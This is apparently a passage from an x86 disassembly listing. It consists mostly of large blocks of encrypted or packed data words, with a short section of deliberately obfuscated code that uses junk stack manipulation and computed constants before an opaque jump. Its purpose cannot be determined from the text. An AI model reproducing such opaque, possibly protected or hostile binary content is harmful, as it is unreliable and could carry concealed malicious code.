		dd 0CD8E8F26h, 6C4F99EEh, 0F54D3FE9h, 350357C1h, 32156624h
		dd 4390A111h, 3213618Bh, 0B1156644h, 3FFC659Fh,	0B61A6617h
		dd 32156680h, 0DCDFBC9h, 0E1EA602Fh, 1A9CE3EEh,	8F96608Fh
		dd 34124ECDh, 50976946h, 0F5156611h, 353DEF0Dh,	32156742h
		dd 87980622h, 34188FCAh, 3453DB05h, 0CC3E604Ah,	8F9EB1A9h
		dd 341266A4h, 1EAAF0Bh,	13EC84h, 369E20E3h, 3AFCA796h
		dd 3D5FAEBBh, 0CDEA8CC1h, 0C5D4EDDDh, 0EF905FC1h, 3D13619Ch
		dd 321571C0h, 1BA8E522h, 32136110h, 321FE387h, 0B7D26644h
		dd 341246B7h, 32156610h, 2C3ADFE9h, 7AAF5713h, 9F725B0Ch
		dd 1C84D398h, 74D2608Fh, 321566B8h, 0DCFB5B22h,	0B71A88FFh
		dd 321566A8h, 0EFC858C5h, 0B71ABBFFh, 32156605h, 3215604Fh
		dd 0F4966644h, 0A3A0EF26h, 0DB13613Fh, 32156E71h, 0B726BECFh
		dd 341246B7h, 1916AED0h, 22D5A74Ah, 0AF9CA777h,	341246B7h
		dd 3315662Ch, 77966988h, 0B3156644h, 89AEDD1Ch,	0B9069AAh
		dd 0F5156688h, 32156642h, 36D3E522h, 1C84D398h,	0AF9E608Fh
		dd 341249E5h, 0E29E6DA9h, 19D7ED71h, 3535830Dh,	30F5A742h
		dd 2ADCE321h, 9F836016h, 769CA78Bh, 0DB747A60h,	3215665Eh
		dd 0FB263440h, 1D54F303h, 302E6043h, 322DE22Dh,	0F0966611h
		dd 0BF2E278Ch, 34124929h, 0CDFDE32Dh, 879899EEh, 34188E48h
		dd 1604DBC9h, 0B6B96025h, 349169D1h, 98156688h,	0CDEA97ADh
		dd 3215DEDDh, 0BF986611h, 34122DC2h, 0BF9C87BBh, 3412681Bh
		dd 0B9433F4Bh, 353AC715h, 0B91EED42h, 351B5FA7h, 31F5B717h
		dd 351A4B0Dh, 0A4E35542h, 0D2D4CB44h, 0FB906513h, 0A4136190h
		dd 6CD465E9h, 1E60DBA1h, 3D146016h, 32155F0Ch, 0B985D44h
		dd 3D13610Bh, 32154B95h, 0AB985D88h, 3D136175h,	321547A6h
		dd 97985D11h, 3D1361B8h, 321573C0h, 2C88EB22h, 0CD136BEFh
		dd 0BBEDED5Bh, 351A0FC1h, 34A18F24h, 0AF986611h, 34189896h
		dd 8F96B5BBh, 34124A57h, 2F916911h, 9156688h, 350D53C1h
		dd 3E916924h, 9156611h,	353C3B0Dh, 37906942h, 0DB156622h
		dd 0CDEA99A8h, 2E1CE3B3h, 0B71A6043h, 3215663Ah, 0A4DB92h
		dd 3D15608Fh, 32156DC1h, 3790EB22h, 0DB136BA2h,	0CDEA991Dh
		dd 2E1CE37Fh, 0B61A6025h, 0CDEA9998h, 0DAA9DB0Bh, 3D146049h
		dd 321571A7h, 29905D11h, 3D136B61h, 32156DC1h, 9290EB22h
		dd 0DB153EF7h, 0CDEA99E5h, 8F969977h, 34126A6Bh, 55916911h
		dd 915668Bh, 3FFC61C1h,	0B9121324h, 351CD394h, 0B72E218Eh
		dd 34188F4Bh, 0B79E6157h, 341260F8h, 39905DCFh,	47136BADh
		dd 0F90ED25h, 75136108h, 0DB06E3B3h, 35606049h,	2C54E3A9h
		dd 9526016h, 3FFC710Dh,	0B9121342h, 35277BA7h, 0B72E2117h
		dd 34188F93h, 0B79E6131h, 34127C97h, 2D905D56h,	47136B61h
		dd 0E390ED43h, 7513613Eh, 0DB36E32Ah, 35606085h, 2AA4E3CFh
		dd 9526025h, 3FFC4194h,	0B912138Eh, 350B6FC1h, 0B72E2124h
		dd 34188F3Ah, 0B79E61FDh, 34127AE1h, 1905D65h, 47136BF8h
		dd 0D390ED8Fh, 7513614Fh, 0DB3AE319h, 2260601Ch, 30D8DB0Bh
		dd 47156043h, 4F90ED25h, 75136132h, 10DB0Bh, 46156043h
		dd 89905D2Dh, 47136BF8h, 0FB90ED8Fh, 7513616Ah,	2130DBA1h
		dd 46156016h, 6BA8E5FAh, 32136157h, 0B72E0F56h,	34188F8Eh
		dd 0B79E61FDh, 341263ADh, 9D905D65h, 47136BF8h,	7B90ED8Fh
		dd 7513615Ah, 0DBB6E319h, 3560601Ch, 2814E303h,	9526043h
		dd 3FFCD5A7h, 0B9121317h, 3534130Dh, 0B72E2142h, 34188F95h
		dd 0B79E6164h, 34124B89h, 95905D03h, 47136BCBh,	0E790ED16h
		dd 751361A5h, 0DBBEE37Fh, 3560602Fh, 3FCE39Ah, 0B152608Fh
		dd 35063FF9h, 0B61A6624h, 3215641Bh, 0DB22E3B3h, 35606049h
		dd 13C4E3A9h, 9526016h,	3FFCAD0Dh, 0B9121342h, 35070FA7h
		dd 0B72E2117h, 34188FB3h, 0B79E6131h, 34127ABBh, 0D905D56h
		dd 47136B61h, 5390ED43h, 75136134h, 0DB56E32Ah,	35606085h
		dd 2898E3CFh, 9526025h,	3FFC2194h, 0B105138Eh, 3517ABF9h
		dd 35606624h, 1458E39Ah, 952608Fh, 3FFC2DC1h, 0B9121324h
		dd 3535DF94h, 0B72E218Eh, 34188F0Bh, 8F967657h,	341264DCh
		dd 0B9121388h, 35007FC1h, 0B72E2124h, 34188F42h, 0B79E61FDh
		dd 34127BBDh, 65905D65h, 47136BF8h, 0EF90ED8Fh,	75136158h
		dd 0DB4AE319h, 2260601Ch, 30D8DB0Bh, 47156043h,	7B90ED25h
		dd 7513611Eh, 0DB4EE3B3h, 22606049h, 30D8DBA1h,	47156016h
		dd 0F90ED8Fh, 7513615Ch, 0DB76E319h, 3560601Ch,	1460E303h
		dd 9526043h, 3FFC01A7h,	0B9121317h, 3519DB0Dh, 0B72E2142h
		dd 34188F49h, 0B79E6164h, 341271EDh, 5D905D03h,	47136BCBh
		dd 0D390ED16h, 7513618Bh, 0DB66E37Fh, 3560602Fh, 3DCE39Ah
		dd 952608Fh, 3FFC11C1h,	0B9121324h, 3508B394h, 0B72E218Eh
		dd 34188F3Fh, 0B79E6157h, 34127780h, 4D905DCFh,	47136BADh
		dd 9790ED25h, 7513610Bh, 3BCCE3B3h, 35606043h, 3BB4E3A9h
		dd 9526016h, 3FFCE50Dh,	0B9121342h, 3502EFA7h, 0B72E2117h
		dd 34188F37h, 8F967F31h, 34188FE5h, 0B11C1311h,	35391335h
		dd 35616642h, 38DCE3A9h, 9526016h, 3FFCA50Dh, 0B10C1342h
		dd 3FFCA19Fh, 3B606617h, 1E60DB0Bh, 46156043h, 0EB90ED25h
		dd 7513610Bh, 0DB92E3B3h, 35606049h, 3C58E3A9h,	9526016h
		dd 3FFCED0Dh, 0B9121342h
		dd 350213A7h, 0B72E2117h, 34188F07h, 0B79E6131h, 3412623Fh
		dd 0A1905D56h, 47136B61h, 8F90ED43h, 75136122h,	0DB82E32Ah
		dd 35606085h, 39C0E3CFh, 9526025h, 3FFCFD94h, 0B912138Eh
		dd 3534B7C1h, 0CD1E2124h, 3210E21Eh, 0D8FC6688h, 9EA99BFh
		dd 350F37A7h, 39906917h, 0BF156688h, 3F97F5C1h,	0C9C68F24h
		dd 0B72E99EEh, 341263F1h, 320DE34Bh, 8F966622h,	34188EADh
		dd 39906989h, 0BF156644h, 6AF345A7h, 0C9BA8F11h, 0B72E9977h
		dd 34188EB3h, 3219E22Dh, 0B72E6611h, 34188E73h,	3210E34Bh
		dd 0A0FC6622h, 8CEA99EAh, 32156688h, 3D1498C7h,	321523A7h
		dd 0D9905D11h, 3D136B60h, 32156DC1h, 0D690EB22h, 0DB153E73h
		dd 0CDEA9DE5h, 0DAFAE37Fh, 0B71A602Fh, 3215661Ah, 514FE305h
		dd 64FC661Ch, 9EA99D9h,	3FFD9594h, 3990698Eh, 0BF156644h
		dd 6A76F9A7h, 0C92A8F11h, 0F29E9977h, 321567FAh, 3DE36D22h
		dd 32156394h, 0C9368F88h, 0C29E99BBh, 3C0CD3ABh, 879C6016h
		dd 341274ADh, 3DFC58C4h, 321540A7h, 336BED11h, 0EC9E988Bh
		dd 7215A5C5h, 8F2E6622h, 34126808h, 321DE487h, 0C92E6644h
		dd 3210E02Dh, 0D4FC6611h, 0B9EA9972h, 350683F9h, 790A124h
		dd 32136110h, 52156688h, 2030D3CDh, 0AF986025h,	341B65EEh
		dd 0B01AB577h, 32156666h, 0BB12FBAFh, 0E1EA601Dh, 0CDCBE587h
		dd 879E99BBh, 34127407h, 3320D398h, 0AF98608Fh,	341859C4h
		dd 0B79EB5DDh, 34126808h, 2030E301h, 0BF746043h, 3C150EBFh
		dd 0BFC69917h, 3C163615h, 3DC69942h, 32156AA1h,	1790E511h
		dd 3713619Ah, 0CDEAB8ADh, 4B88EBDDh, 0CD136812h, 3A96695Bh
		dd 0B1156644h, 0FC62E0h, 0BF156611h, 3E9C6115h,	3DC69942h
		dd 32156DA1h, 17A0ED11h, 0DB13619Ah, 321561C4h,	2030EBA9h
		dd 879C6016h, 341274ADh, 0EBE2A86Fh, 96E69709h,	0CDEAF0F8h
		dd 0EA88EB77h, 0CD136B7Bh, 19D2EDF1h, 35068394h, 6390EF8Eh
		dd 0B9136147h, 350683A7h, 0BF453117h, 3F552B05h, 0B9C49942h
		dd 351693A7h, 0B9423617h, 3506830Dh, 0BF983642h, 3418265Eh
		dd 0E29EB7EEh, 0BF3EAE03h, 341265B1h, 1368DBA1h, 3D156016h
		dd 32154D0Ch, 8F90ED44h, 19136127h, 35341B94h, 3DD45D8Eh
		dd 321571C2h, 4790ED22h, 31136120h, 35341B0Dh, 5B90EF42h
		dd 0DB13612Dh, 32156652h, 7AD4EDD9h, 321A9949h,	0B79C2622h
		dd 341263ACh, 18E389h, 0B7D26043h, 3412475Fh, 32156611h
		dd 327D26E2h, 63156654h, 0A7EA6648h, 341264C8h,	3334F377h
		dd 0B79C6043h, 34125757h, 3D7CE398h, 0CD4C608Fh, 351A0FF1h
		dd 0C7A09924h, 65136112h, 21F0D377h, 0B7986043h, 3418232Ch
		dd 0BF14B6EEh, 341247F5h, 3D7CDBCFh, 879E6025h,	341265E4h
		dd 879EC27Bh, 341248D5h, 0CE53A18Fh, 32156611h,	3710A649h
		dd 342786Bh, 2478E321h,	0BF9E6016h, 341269E1h, 0F5B86ECDh
		dd 32159A64h, 879C6611h, 34124819h, 3DEA9EC7h, 321546A7h
		dd 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h,	0B1156611h
		dd 879C624Eh, 341248D5h, 0CDE380CBh, 31D5A7EEh,	2478E38Bh
		dd 8F966043h, 3412689Fh, 0AF916910h, 0B3156688h, 98BFCC7Ah
		dd 20906988h, 0B1156611h, 74D2624Eh, 321566B8h,	0DBA5F122h
		dd 321565F8h, 0DAA5F188h, 47A8E514h, 3313610Eh,	322BE21Eh
		dd 32AD6688h, 0B1156645h, 3FFC659Fh, 0B61A6617h, 32156680h
		dd 7A5AFBC9h, 0E1EA602Fh, 3D855991h, 32156E0Ch,	37D2E544h
		dd 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h,	0DBBF3E88h
		dd 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah,	0DB16DB92h
		dd 3D156085h, 32156EC0h, 2D88EB22h, 0CD136B59h,	3652EE5Bh
		dd 3D7CE3CFh, 0F53E6025h, 99118E92h, 0CE53A125h, 32156644h
		dd 0CDEA77CBh, 0A3A0EFEEh, 601361A6h, 3295662Ch, 0CD150C22h
		dd 353A27A4h, 0C380998Eh, 68136149h, 1DB4EBA9h,	33D26016h
		dd 32156688h, 0BB11A7C7h, 353AC7AFh, 0C7058F17h, 96FC9977h
		dd 52156642h, 1DB4EBA9h, 3B9E6016h, 0DAEAEB01h,	0A946049h
		dd 7E51326Ch, 3209E31Eh, 0B3736688h, 1C59623Ch,	3205E32Dh
		dd 0C29E6611h, 0B913A00Bh, 351887C1h, 33138F24h, 0C29E6611h
		dd 0FB26B603h, 3D155AE8h, 32153BA6h, 3D385A11h,	0CDEA890Ch
		dd 3D3B5ABBh, 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h
		dd 0CDEAB1A4h, 3D545AEEh, 3215960Ah, 3D4F5A44h,	0CDEAA1A4h
		dd 3D4A5AEEh, 0CDEAD90Ch, 3D745ABBh, 3215BEA0h,	3D6F5A11h
		dd 0CDEAC90Eh, 32DE8FBBh, 9576622h, 0F09169C7h,	78156688h
		dd 0CD8F8F05h, 0FB9099DDh, 32A6E21Eh, 87986688h, 341279A5h
		dd 0C89EACA9h, 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh
		dd 0F4B195E6h, 0BF1599CFh, 350A87D1h, 5390ED24h, 0B7136130h
		dd 28906948h, 0F4156644h, 350043A7h, 0E07D2117h, 0CDC1FC2Fh
		dd 3509DBF1h, 0C690EB24h, 0CD136C61h, 0E2EA3458h, 0B71AA6C1h
		dd 3215661Ah, 11E4E39Ah, 0F290608Fh, 320FE34Bh,	0B7D36622h
		dd 34127334h, 2EFC0EC4h, 87EABF9Eh, 34127A9Fh, 42E1E39Ch
		dd 0E2EA6082h, 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h
		dd 0DAEAE3CDh, 6445602Fh, 0A298E39Ch, 0E2EA6082h, 0B71AA64Fh
		dd 32156627h, 321562F8h, 1651EF88h, 52D60758h, 0DAEAEBA9h
		dd 0B945601Ch, 0E556549h, 329DF6CFh, 0A79C6622h, 34124870h
		dd 32159E8Dh, 3E45ED44h, 122CF3ABh, 0B94D6016h,	193142CCh
		dd 0B905D85h, 3D136102h, 32157693h, 53905D88h, 3D13616Ah
		dd 321562A1h, 36D70711h, 36D20788h, 32156660h, 1651A122h
		dd 32156615h, 3210DE88h, 0BF986644h, 34122D68h,	0B87587EEh
		dd 3DFC5A8Eh, 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h
		dd 321574C0h, 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h
		dd 0B8D60722h, 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh
		dd 3113A592h, 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh
		dd 0B9156688h, 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h
		dd 3D3B8DC7h, 0CDEADAA6h, 321F8FEEh, 4C956688h,	0B71A9845h
		dd 0CDEA998Fh, 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h
		dd 42EEE6E1h, 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h
		dd 3391E287h, 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h
		dd 0D0296644h, 3056E22Dh, 694A6611h, 0F5D638D1h, 3FFCA9C1h
		dd 32156024h, 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh
		dd 3C0CE39Ah, 0A79E608Fh, 34126771h, 0F196B8A9h, 304B6517h
		dd 0B01ABEB3h, 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h
		dd 54B80042h, 0B1BEF589h, 0E9C62D7h, 1661EFACh,	17A0EF48h
		dd 6D136130h, 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 3FFCA9A7h
		dd 32156417h, 3DCBED88h, 0CB9568F2h, 3A9669A2h,	31156611h
		dd 3FFC2551h, 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h
		dd 3C0CE3CFh, 0A79E6025h, 34126724h, 2424DB0Bh,	3D146043h
		dd 3215C5A6h, 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h
		dd 329B8FEEh, 0B7D26688h, 34188F8Bh, 32156620h,	841AB89Ah
		dd 0B2ECE686h, 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h
		dd 0B3CC91BBh, 321599C3h, 0B9CC4D11h, 351B7F0Dh, 780ED42h
		dd 0B1136123h, 350357ACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h
		dd 32156619h, 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh
		dd 381A8708h, 0ED3ECC85h
		dd 0A1118DA1h, 30D3E5BAh, 2030D301h, 0B7D26043h, 34127013h
		dd 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h,	0CDEA9F66h
		dd 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h,	0F69638D1h
		dd 0CBD28F40h, 0B7D299DDh, 34188FDEh, 3215668Dh, 0F196B8CFh
		dd 0B90B6526h, 351B7F94h, 780ED8Eh, 7C136145h, 3164DBA1h
		dd 3D146016h, 3214650Ch, 3DCD5D44h, 32156EA0h, 3DCF5D11h
		dd 32154D0Eh, 17A0EF44h, 0B9136130h, 3FFCA98Ch,	1649678Eh
		dd 32CB8F48h, 0F54A6622h, 35161794h, 3215678Eh,	6C4C3D44h
		dd 0DB11A2A1h, 0CDEA9EE6h, 2424DB0Bh, 3D146043h, 3215DDA6h
		dd 2B884D11h, 0B9136186h, 350683C9h, 19DE6524h,	37FCE5DEh
		dd 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h, 0F5EA9971h
		dd 3FFCA9C1h, 32156424h, 3DCBED11h, 0CB95683Eh,	3A9669C4h
		dd 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh, 32EA87A3h
		dd 0EB3E6611h, 3C0CE303h, 0A79E6043h, 34126717h, 0CDEA20F8h
		dd 0FD90A177h, 30136BADh, 0B9156622h, 3CA369CFh, 3D959F08h
		dd 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h,	0D394BFB3h
		dd 321566DDh, 0B79EBF3Ah, 34126891h, 3320F3CFh,	8F966025h
		dd 34127020h, 0FB916989h, 9EA99BAh, 3A9769FAh, 9156611h
		dd 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h,	9984CC61h
		dd 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h, 32157EADh
		dd 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh, 998662C9h
		dd 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh,	0F9296611h
		dd 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h, 3225E287h
		dd 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh, 3218E34Bh
		dd 749F6622h, 0EE54213h, 11916928h, 6B156644h, 322C8FDAh
		dd 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h, 3215661Eh
		dd 32156031h, 32108F44h, 35AC6622h, 0C1156611h,	798ED2Ch
		dd 0B7136145h, 349069EBh, 0BB156611h, 3514533Dh, 0F1EC3F42h
		dd 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch, 3D659DA2h
		dd 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h, 32152195h
		dd 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h, 0CD280088h
		dd 1F916961h, 0E156622h, 179169DBh, 0E156688h, 509169A7h
		dd 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h, 92299606h
		dd 3213E21Eh, 0DBED6688h, 3215664Bh, 3320D3ABh,	0AF986016h
		dd 34185908h, 0F1ECB5BBh, 2253ED72h, 12F0E398h,	0B14D608Fh
		dd 8F987A82h, 34127EEBh, 165165BCh, 8F98CDACh, 34124AADh
		dd 1651658Fh, 0BFBE3635h, 351A4B35h, 7616CB42h,	6CBE4E06h
		dd 0AF9830D2h, 341859D1h, 95FCB5BBh, 0DFFFFFFFh, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 5D3AC0D5h, 0ED96A448h, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 87C74ECEh, 32DCF143h, 8C18F96Fh
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 7A2538C8h
		dd 7462C59h, 0A58299DFh, 3C6D552h, 92B85E00h, 5E98354h
		dd 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 87BC2FEBh, 52505AF6h
		dd 99D113Ch, 77DDD3BCh,	0B95163B9h, 75DF79F4h, 221331B5h
		dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 3543F034h
		dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB77100Fh
		dd 0F53FD525h, 561FADFDh, 34229178h, 0AC7ACFB7h, 0AD29B723h
		dd 0FD7A1A20h, 7C277975h, 0F0D62798h, 11FFA073h, 7D7C22DFh
		dd 5E983C8h, 0DB8BA4F3h, 0E9DBBD8Dh, 8D8D060Dh,	60E04C2h
		dd 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h,	850F4904h
		dd 0FFFFFFF2h, 0BD83C08Bh, 6070211h, 83097500h,	70D65BDh
		dd 19740006h, 0C08B5350h, 411B8h, 0A9858900h, 8D060723h
		dd 9AB0F9Dh, 5BD3FF06h,	65BD8358h, 6070Dh, 53501774h, 411B8h
		dd 0A9858900h, 8D060723h, 9A7B09Dh, 5BD3FF06h, 0BBC08B58h
		dd 4672A4F2h, 51504EBh,	29E924D8h, 31000005h, 3E9CE884h
		dd 44A2EE7Ch, 47A5F17Bh, 47A5F19Bh, 0BEA8F480h,	0F955C9Dh
		dd 179D65C3h, 19A76DCBh, 20AC6FCDh, 17E661D4h, 0F0026124h
		dd 0BE765A39h, 0AF1BE0FBh, 5107EE01h, 0F1A430F3h, 9C17B376h
		dd 0BD4CEFBEh, 0C111F60Ch, 0BE51F8FEh, 5DE3AA08h, 0C4BD84E2h
		dd 452A42EDh, 0A359A9E9h, 0AA36F957h, 3CD699F7h, 0E89BEB79h
		dd 0BF3AC88Ah, 44069861h, 63B303B6h, 0DF82FAADh, 13E25D47h
		dd 0F60CB020h, 0D937ED3Dh, 0E03E8A16h, 0E2408C1Ah, 85E3961Ch
		dd 0F08437BDh, 0F59AB275h, 0ECC77645h, 4898F60Ch, 0FA67CC85h
		dd 3C89A144h, 0B275F076h, 0FCCB33C8h, 0BC08BEB9h, 1FF07E41h
		dd 0EF7F6843h, 0CD91D20h, 0A2F242F6h, 2FCB8EECh, 2C0A6683h
		dd 2D23870Dh, 0BDA8DDDh, 0F60C3A25h, 0AA5DEBAEh, 4CFF854Ch
		dd 0DA1931D4h, 0B9C66003h, 93C38BF7h, 7237h, 18DB5300h
		dd 290AD98Ch, 35F60C67h, 9510B892h, 35E87437h, 672716E5h
		dd 0E838F60Ch, 2ED09232h, 11093C3h, 2C000000h, 0E19A60BEh
		dd 0C672312h, 9CEC3CF6h, 38C688E6h, 0EAAC0A85h,	8648A65Ch
		dd 3BE745F8h, 0EB66DE91h, 5A7B1D28h, 0D68C70C6h, 0CCE1B33h
		dd 0F4B7327Eh, 89189BF7h, 2D8B4129h, 0E863DE6Ah, 0C001A19h
		dd 6BF9BFF6h, 3E8E68B8h, 0DB583C88h, 35BB8214h,	12D432E5h
		dd 940FD184h, 32E57336h, 0A59867E2h, 0BAF60C67h, 3911B46Ah
		dd 135FE5ACh, 0B366F2B5h, 8D088C55h, 67F04312h,	0BF84F60Ch
		dd 1E829020h, 681E6E48h, 76F16CB5h, 0CC694A7h, 0F106C9F6h
		dd 0AF384275h, 45E89EEEh, 0BAEC9EEDh, 852C93C3h, 48000000h
		dd 0DD9014DBh, 0B23C0462h, 0E2ECAFFFh, 0CEB435A3h, 753E9C52h
		dd 49C43CEFh, 0EDA024EBh, 0E053229Dh, 7DF60CAFh, 7AD4772Dh
		dd 0D01CA86Fh, 7225AB72h, 13C66814h, 800F27CAh,	93C3F4CEh
		dd 670Eh, 60BE2A00h, 8580B99h, 3320E045h, 0D0864684h, 6B17AB72h
		dd 60BE71C1h, 0AF35FE9Ah, 8B4EAC5Fh, 26EC4AFDh,	6D10EDA0h
		dd 0BE3916D5h, 540AB460h, 0B42F99B1h, 0C1D56E5h, 0E2A907F6h
		dd 0FA580E5Eh, 7D61AD33h, 0D88B19DBh, 0C672709h, 0B69033F6h
		dd 0C32F27E9h, 0E6793h,	8EEC0000h, 0F6C540C6h, 0F60C6B47h
		dd 2E12C818h, 0D78A12DBh, 772AB679h, 0BEE640E3h, 67C17443h
		dd 239EF60Ch, 0C67E154h, 0DE2E7EF6h, 7B01CA28h,	0DC7E402Fh
		dd 88D88B19h, 67FF3E0Dh, 1060F60Ch, 4A7645C0h, 1BFC1390h
		dd 0F7BA18CBh, 44A21D69h, 0F040F381h, 1819DC3Ah, 0D173DE24h
		dd 6CE737A3h, 0BD1322F1h, 0FC4CF00Bh, 73C49346h, 0E5F00BBDh
		dd 1ADDE842h, 4CC7428Eh, 0BBDBE7Dh, 0C2FFEF0h, 51F00BBDh
		dd 21D72701h, 0C17400C3h, 9914A063h, 3AF0743Bh,	822C587h
		dd 226EFABDh, 0CB08C082h, 0CC0099h, 4A1C0000h, 0AA79F474h
		dd 0FC138676h, 5EBC6FBFh, 46C10D9Bh, 0DE9422E8h, 7C2FBD80h
		dd 1ACD5B1Eh, 339DB558h, 0BC0ACB70h, 0DB9157D1h, 0E22EBA7Dh
		dd 0BC400967h, 6303B909h, 99CA82A1h, 2EE1h, 8D4AFD00h
		dd 3CAF7EF9h, 81F60C68h, 8CAF7E31h, 2FF60C67h, 4196B28Ch
		dd 88FBCA45h, 0F5F60C68h, 670359A5h, 88000000h,	28DB612Ah
		dd 4A3E22D8h, 0AA79F474h, 0FC13883Ah, 22803383h, 2785D15Fh
		dd 5625D864h, 0F00B48E8h, 2F00C33Eh, 7BC7F8B1h,	50EA8D43h
		dd 6028C285h, 83D323D6h, 7F764837h, 9F68651Dh, 80FB4B25h
		dd 78BB8A05h, 0E5F00B35h, 9410DF95h, 0F9FA1D3Ch, 0D598F6A9h
		dd 5D009447h, 115767C5h, 3ACDC796h, 0D222FC13h,	744AA286h
		dd 0E29523E6h, 4CC74292h, 27AD73D1h, 0C67E558h,	742A7AF6h
		dd 1A6E2FA5h, 7D3080FCh, 26DBA402h, 261E457h, 0D92979F0h
		dd 792CB87Bh, 52157329h, 1D04BC6h, 0F0026132h, 0D925DB2Bh
		dd 0B12CB87Bh, 9B7E68EEh, 3F341161h, 7284505Ch,	0AC7BF646h
		dd 0F0024E89h, 1DD086D6h, 0F69844A2h, 0CF95F343h, 883E8E41h
		dd 0EC5F1FB9h, 0EF47EA1Eh, 45911FE2h, 0E59824E7h, 5B23DB87h
		dd 3ACE81D1h, 6F32BF97h, 743795E1h, 13DF35E8h, 64000000h
		dd 0EE1A9BA1h, 0B6120E01h, 2B894C7Bh, 371BD116h, 2EDB694Dh
		dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h
		dd 0E995F3A6h, 69329043h, 10D230E3h
		db 82h,	0CFh, 7Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 6DC24101h
		sub	edi, 1D143574h
		shl	edi, 4
		xor	edi, 41881908h
		dec	edi
		add	edi, 0BAA5647Fh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	6A9Ah
		mov	[esp], edx
		mov	edx, esi
		mov	[ebx+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0E0AE2B8h, 0FFC50306h, 11DA0FE0h, 0F2161029h, 0B798F148h
		dd 0FFC3AF18h, 0E22EC87Ah, 6937A646h, 949224Ah,	2BD48B06h
		dd 37BB415Ch, 0E168342Eh, 2354012Fh, 7FA667Eh, 4519B245h
		dd 2504EB31h, 0E92B374Dh, 53Eh,	0B57F5A2h, 115DEBADh, 1662EAB3h
		dd 16620CB8h, 1763F1B8h, 4CB0C2Dh, 0ED63480h, 18DE3C88h
		dd 1DE03E8Ah, 55D0438Fh, 26CB786h, 0E5C9A8F0h, 0B57E18DBh
		dd 551E7C2Fh, 7CCC1CCFh, 60EEB12Ch, 0DE59B358h,	0E846F9AFh
		dd 0E9479321h, 39C38C26h, 15D83686h, 9843787h, 0DF6D308Eh
		dd 2E0DDC2Ch, 2FF60C77h, 8CB29DFh, 0A96BC97Ch, 9642A01Bh
		dd 773FFECDh, 0D020F60Ch, 9F17CA80h, 0D49722FCh, 0D89EFC48h
		dd 0AF71CF4Ah, 0C11F6B21h, 47C275FBh, 773EFDCCh, 0CF1FF60Ch
		dd 69F3BB19h, 0A77F22B6h, 82CE541Ah, 20D36124h,	0C77EF51h
		dd 7ED87BF6h, 0C33F6F31h, 9259B793h, 550B5B0Eh,	6FD2h
		dd 18DBEE00h, 34AA6119h, 9EEE001Ch, 4B1270EBh, 1767F5B7h
		dd 0DAA19261h, 1ABDF60Ch, 0EBB17300h, 9BF993C3h, 13964CD8h
		dd 0Bh,	0EF4E1D98h, 70F60CAEh, 0BE866A20h, 58AC05FBh, 2FE57F25h
